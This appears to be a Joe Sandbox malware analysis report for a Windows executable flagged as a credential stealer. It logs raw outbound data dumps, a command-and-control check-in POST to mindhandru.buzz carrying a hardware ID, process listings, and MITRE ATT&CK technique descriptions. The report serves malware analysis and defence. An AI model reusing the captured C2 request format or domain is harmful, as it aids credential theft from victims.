2024-12-27 07:45:10 UTC	15331	OUT	Data Raw: b6 f8 39 db c0 48 df ce 5f f5 2e 75 e1 c7 b9 72 2f 30 89 c2 bc a5 38 b7 58 f1 d7 72 ae 5b 7b c1 a5 35 39 82 5e a1 30 02 b9 c3 b5 1b b7 bf 3f 87 9c c3 d2 95 d9 0d cf b9 35 9e a0 c8 ca 6c b3 e8 b4 43 9b 0c c1 3c 8a 3e 25 2c a2 58 bb 16 aa 76 94 fb 76 6c 5d 08 fc fc 33 9e fe 82 a2 eb 8b 1d 7e e6 e5 30 7b 81 61 34 9f f5 c1 ae 09 df 1e 93 8f d2 9b bd 98 88 08 a3 98 eb f2 91 c8 40 44 9e 7f 39 59 b6 23 30 49 1d 4d 3f fe 3c ff 78 6f 42 13 f2 b8 1c cf 43 24 06 69 b6 88 c1 0c 19 08 31 66 25 6b f0 cc 35 97 08 99 f7 9c e2 a5 e2 02 70 c9 f5 a2 d4 a8 00 c2 c6 4e 7b 86 d0 32 ae 89 e8 35 cf 7c 7d 8d ba 40 6e 96 a7 c0 78 9f 01 dd 42 04 fc 14 41 98 21 2b b0 2f 87 6e 3a 52 5d d6 a5 2e 5c 0f 88 bf e5 14 b7 e1 6e f6 d9 0c 6c c0 e5 ad 4d 7f ec ce f1 87 ee 5e 29 83 f0 1f cd 95 Data Ascii: 9H_.ur/08Xr[{59^0?5lC<>%,Xvvl]3~0{a4@D9Y#0IM?<xoBC$i1f%k5pN{25\|}@nxBA!+/n:R].\nlM^)
2024-12-27 07:45:10 UTC	15331	OUT	Data Raw: b2 37 fb 10 b3 4e 70 dd 06 c3 ad ba 72 a8 57 72 ed 65 59 a2 3a f3 6a 9c ad 00 93 fc 4f 54 c7 f1 70 93 f7 7e 21 d8 cd aa 87 ed d5 49 8f 2e 27 a0 56 4c eb 54 21 6a fe 75 c1 38 84 a9 ff b2 84 08 82 e5 7a da 29 b4 54 c7 de 01 f6 7d 0b 27 33 05 21 08 63 03 9f 89 c8 6c a3 17 1f 23 4c 8f 7f 3f 27 9e 20 16 88 80 a3 bd 4b df a4 90 12 57 b6 b0 33 85 02 b1 f8 74 78 7d db cc ea c9 ea 61 73 62 ba d4 eb 62 54 ec 0b d4 51 37 9a 26 78 bd 1f e5 5d 84 75 8a 48 a0 6b 8d 3f 09 3b 74 30 36 99 51 d5 8d 00 bb ba a0 b8 b2 f9 a2 c3 b2 a0 85 f7 2b 20 83 2d 9c c3 7e c8 dc 93 a9 45 ef 6e fb 18 5f e4 d9 e6 4f b9 c8 5d b1 0a b6 b0 6d ab 4d 65 d7 4a c7 86 64 06 1a 72 2a d4 ce 3f 74 6f a8 56 5a 44 51 ea 86 7f 9d 08 2c 88 43 c9 c1 53 e5 a1 5c 33 b1 1e 4e 09 fb e4 86 66 ee 72 09 2f 68 29 Data Ascii: 7NprWreY:jOTp~!I.'VLT!ju8z)T}'3!cl#L?' KW3tx}asbbTQ7&x]uHk?;t06Q+ -~En_O]mMeJdr*?toVZDQ,CS\3Nfr/h)
2024-12-27 07:45:10 UTC	15331	OUT	Data Raw: bb 2b 40 de 35 25 42 bb c5 1d 90 8b 08 4a 1f 9b dc ac b7 78 30 76 81 f2 b7 7b ac ce ad c7 e1 38 8e ef 2d 10 53 53 27 37 6f ac 75 60 f3 46 e5 ad 73 eb 19 a4 c6 c7 61 41 0b 17 3f 9c c6 82 53 e6 ef 1f b0 8b 21 ec 99 92 a8 5b 7e 0f 45 bb 6b 87 d3 b5 7b 72 2f 65 de 00 3d 82 d8 80 ca 43 4f 21 f2 d5 dd 7a a0 1b 15 51 e7 eb 29 09 91 75 e9 05 0e a7 c3 ae 94 29 10 12 5f 9e 6a cc 71 3a 55 a6 0c e2 8b 51 bb 0f a8 e0 7a 4a 00 0f 8b 48 f9 26 5a f6 0c 27 74 94 be 2e 9c e3 f2 ae d3 cc 0c d4 31 95 71 1c 42 66 f1 3b 1f b4 98 13 b7 46 6e b4 5e 43 7a 9b 63 cd b3 54 e5 66 b5 47 c2 ca af 9f f2 6e ec 35 d2 7b 26 3d ae ce c9 75 61 dd 6d b9 1b 2a bb 60 cc fb c7 97 ef d0 45 d2 36 f5 7f f7 40 8b 6c b8 f9 43 9d 30 7b 70 cf 80 7e d6 9b 9b 70 e6 3c 63 ff 75 16 f3 79 77 50 9d 8b 32 e9 Data Ascii: +@5%BJx0v{8-SS'7ou`FsaA?S![~Ek{r/e=CO!zQ)u)_jq:UQzJH&Z't.1qBf;Fn^CzcTfGn5{&=uam*`E6@lC0{p~p<cuywP2
2024-12-27 07:45:10 UTC	15331	OUT	Data Raw: b8 5d 45 4e 01 cc 9a af d5 b9 97 72 ec ff 86 a6 1c e8 7d 7b 93 1b 4e 72 02 1c ae 95 85 08 e4 74 5b 07 7b 5d 0e f0 d4 fa 00 db e9 16 84 53 c4 da 73 9e 80 d0 7d c0 9a fd e3 e9 f1 a9 74 c4 46 66 08 05 e5 bb de 6f 54 dd a5 2e ce 3a f3 d8 fc 1e 0d 8b e0 0f e3 8e f5 cb 12 c5 ac df 31 bc 34 83 02 62 ac 4b de 64 77 3b 2d 24 ef 0a d8 9c 9a 5d 69 b0 9c 55 93 94 0a ca fb f0 c4 de 20 ed 89 03 b5 6a 96 cc f3 17 97 b2 3d 66 6c 07 82 35 8a 37 10 a8 ba 3c 41 fa f0 94 f1 f1 16 21 21 6e c1 c0 25 07 0a 0a 5d d7 bf 18 1f 34 13 ee 3a 58 2b b4 88 35 03 a4 aa a0 45 63 b9 79 68 4a 88 5b 18 20 38 6e eb 8c 75 83 d0 4c ef 82 6d f0 f0 73 6f 2b a5 75 02 cd 71 5c 65 28 c8 a6 41 bb 7b 83 1f 22 cb 0a 8d 58 ce be f1 60 1d 5e 9f 79 44 94 f9 8a 44 85 4d fd ed 9c ca 79 8c 72 5d 8a 3c c8 f3 Data Ascii: ]ENr}{Nrt[{]Ss}tFfoT.:14bKdw;-$]iU j=fl57<A!!n%]4:X+5EcyhJ[ 8nuLmso+uq\e(A{"X`^yDDMyr]<
2024-12-27 07:45:33 UTC	1140	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:45:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iftle1bfvi9us4poiuobt5lubo; expires=Tue, 22 Apr 2025 01:32:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MvdkpGUwKSs%2FbswVI%2B9hP2XCuBeMGO2kSwUx00R%2FQx4LqPAi3o4%2F1epzhO3rsID0C8o8YeLxAjIcibGnWatqJp%2B%2FS7Ro1YKWINicyyxtFBGjY62djkJcvl96jA9Zz4kR5%2FI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b0869fdc8c83-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1847&min_rtt=1826&rtt_var=699&sent=358&recv=608&lost=0&retrans=0&sent_bytes=2837&recv_bytes=587395&delivery_rate=1599123&cwnd=189&unsent_bytes=0&cid=554028527c0329e3&ts=23519&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49766	172.67.165.185	443	6472	C:\Users\user\Desktop\7jKx8dPOEs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:45:34 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: mindhandru.buzz
2024-12-27 07:45:34 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 35 37 41 39 46 37 42 32 44 31 32 36 46 43 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=57A9F7B2D126FC5EBEBA0C6A975F1733
2024-12-27 07:45:35 UTC	1119	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:45:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=73beg1okq3tl5sqkb4lunb2hjl; expires=Tue, 22 Apr 2025 01:32:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mD3D1Ay04McQEC6smqXkSLclLRLcOqxtaDolFPyYr3XucvQTSo4mS0CIoeWYcbKhZgRKlxvh06scc1Q0szPTaAJfrcHWaFhiFj0riqnCM%2B0gwmmCRnioV7c3UOwzlJyn39M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b122ef1d439d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1764&min_rtt=1634&rtt_var=706&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=987&delivery_rate=1787025&cwnd=201&unsent_bytes=0&cid=d39de4e80a389903&ts=770&x=0"
2024-12-27 07:45:35 UTC	210	IN	Data Raw: 63 63 0d 0a 46 66 41 69 74 51 58 51 43 5a 41 37 31 33 61 67 30 58 39 6c 6a 53 61 34 4d 4a 56 66 4b 2f 50 50 75 31 53 41 76 41 6e 47 67 5a 52 4f 69 77 44 41 4a 2b 6f 72 2b 45 2b 6a 42 70 71 4e 55 44 6d 69 46 34 41 46 75 32 30 61 78 75 47 4b 5a 62 4f 53 4f 50 44 64 75 33 71 57 52 4f 6b 71 74 47 7a 32 46 62 49 4f 78 66 4e 54 52 2b 74 53 6d 67 71 6c 63 77 6d 57 37 59 46 6c 2f 5a 42 79 35 50 53 32 4c 39 4a 4b 77 58 47 67 4d 38 77 55 69 31 6d 52 36 55 70 4c 76 78 65 4e 48 71 52 75 47 4e 33 2b 6a 51 69 76 30 32 2b 67 33 62 74 78 6c 55 53 62 59 4b 68 73 73 68 66 31 45 4e 54 7a 52 56 57 68 42 4e 30 53 72 32 39 57 72 67 3d 3d 0d 0a Data Ascii: ccFfAitQXQCZA713ag0X9ljSa4MJVfK/PPu1SAvAnGgZROiwDAJ+or+E+jBpqNUDmiF4AFu20axuGKZbOSOPDdu3qWROkqtGz2FbIOxfNTR+tSmgqlcwmW7YFl/ZBy5PS2L9JKwXGgM8wUi1mR6UpLvxeNHqRuGN3+jQiv02+g3btxlUSbYKhsshf1ENTzRVWhBN0Sr29Wrg==
2024-12-27 07:45:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:44:50
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\7jKx8dPOEs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\7jKx8dPOEs.exe"
Imagebase:	0x160000
File size:	3'008'512 bytes
MD5 hash:	FE3379EC1A912799963D0F5887406D7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2176354470.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2175810084.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2198784822.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:45:45
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=7jKx8dPOEs.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:45:47
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=1972,i,9469854108246391747,18434014596652358452,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	02:45:53
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=7jKx8dPOEs.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:45:53
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=608 --field-trial-handle=2004,i,11654548030049873312,17207828134689624259,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00F71001 Relevance: 3.7, Strings: 2, Instructions: 1159COMMON

Download Yara Rule

Strings

#%, xrefs: 00F71AA9
@c$, xrefs: 00F71228

Memory Dump Source

Source File: 00000000.00000003.2219275583.0000000000F71000.00000004.00000020.00020000.00000000.sdmp, Offset: 00F71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_f6b000_7jKx8dPOEs.jbxd

Similarity

API ID:
String ID: #%$@c$
API String ID: 0-1408309575
Opcode ID: 4ed23de5a53d7f46bfd1e5dc1250bdb90eb7ae44bace059df1ea3e6e997f6561
Instruction ID: 83568a730a2757389e1451f38eabe0d165e7ec7d669199b765c9aeccab82b946
Opcode Fuzzy Hash: 4ed23de5a53d7f46bfd1e5dc1250bdb90eb7ae44bace059df1ea3e6e997f6561
Instruction Fuzzy Hash: 9522E1A684E7C24FE35387748C666817FB1AF23214B1E85DBC4D48F4A3E25D481AE727

Function 00F0BA91 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2176354470.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, Offset: 00F0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_f08000_7jKx8dPOEs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85388f3041c8629a07f81a1a2289a54094ec0b05964cae6b86a2813ed8481fdf
Instruction ID: 1c5278bfed6a5f5dfaa64bc24e32a900ea19e55fd6a922677acd6496ab7bfdd2
Opcode Fuzzy Hash: 85388f3041c8629a07f81a1a2289a54094ec0b05964cae6b86a2813ed8481fdf
Instruction Fuzzy Hash: 64410F6240F3D51FD7238B348DA9A52BFB19E1311471E82EBC4C58E4E7D688494AE363

Function 00F0BA91 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2176354470.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, Offset: 00F09000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_f08000_7jKx8dPOEs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85388f3041c8629a07f81a1a2289a54094ec0b05964cae6b86a2813ed8481fdf
Instruction ID: 1c5278bfed6a5f5dfaa64bc24e32a900ea19e55fd6a922677acd6496ab7bfdd2
Opcode Fuzzy Hash: 85388f3041c8629a07f81a1a2289a54094ec0b05964cae6b86a2813ed8481fdf
Instruction Fuzzy Hash: 64410F6240F3D51FD7238B348DA9A52BFB19E1311471E82EBC4C58E4E7D688494AE363

Function 00F0BA91 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2176354470.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, Offset: 00F08000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_f08000_7jKx8dPOEs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85388f3041c8629a07f81a1a2289a54094ec0b05964cae6b86a2813ed8481fdf
Instruction ID: 1c5278bfed6a5f5dfaa64bc24e32a900ea19e55fd6a922677acd6496ab7bfdd2
Opcode Fuzzy Hash: 85388f3041c8629a07f81a1a2289a54094ec0b05964cae6b86a2813ed8481fdf
Instruction Fuzzy Hash: 64410F6240F3D51FD7238B348DA9A52BFB19E1311471E82EBC4C58E4E7D688494AE363

Function 00F0BAA8 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2176354470.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, Offset: 00F0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_f08000_7jKx8dPOEs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf4f1ab495cc458bf4c5fcfee38a3ce1509c0eb9be64de8c3c040d9106721bed
Instruction ID: f8aa96417547569a5b349d467bebe3dceb0377921688c7304a32bbb0357b9252
Opcode Fuzzy Hash: cf4f1ab495cc458bf4c5fcfee38a3ce1509c0eb9be64de8c3c040d9106721bed
Instruction Fuzzy Hash: B241146140F3D51FD7238B348DA9652BFB19E1311571E92EFC4C58E4E3D688494AE363

Function 00F0BAA8 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2176354470.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, Offset: 00F09000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_f08000_7jKx8dPOEs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf4f1ab495cc458bf4c5fcfee38a3ce1509c0eb9be64de8c3c040d9106721bed
Instruction ID: f8aa96417547569a5b349d467bebe3dceb0377921688c7304a32bbb0357b9252
Opcode Fuzzy Hash: cf4f1ab495cc458bf4c5fcfee38a3ce1509c0eb9be64de8c3c040d9106721bed
Instruction Fuzzy Hash: B241146140F3D51FD7238B348DA9652BFB19E1311571E92EFC4C58E4E3D688494AE363

Function 00F0BAA8 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2176354470.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, Offset: 00F08000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_f08000_7jKx8dPOEs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf4f1ab495cc458bf4c5fcfee38a3ce1509c0eb9be64de8c3c040d9106721bed
Instruction ID: f8aa96417547569a5b349d467bebe3dceb0377921688c7304a32bbb0357b9252
Opcode Fuzzy Hash: cf4f1ab495cc458bf4c5fcfee38a3ce1509c0eb9be64de8c3c040d9106721bed
Instruction Fuzzy Hash: B241146140F3D51FD7238B348DA9652BFB19E1311571E92EFC4C58E4E3D688494AE363

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
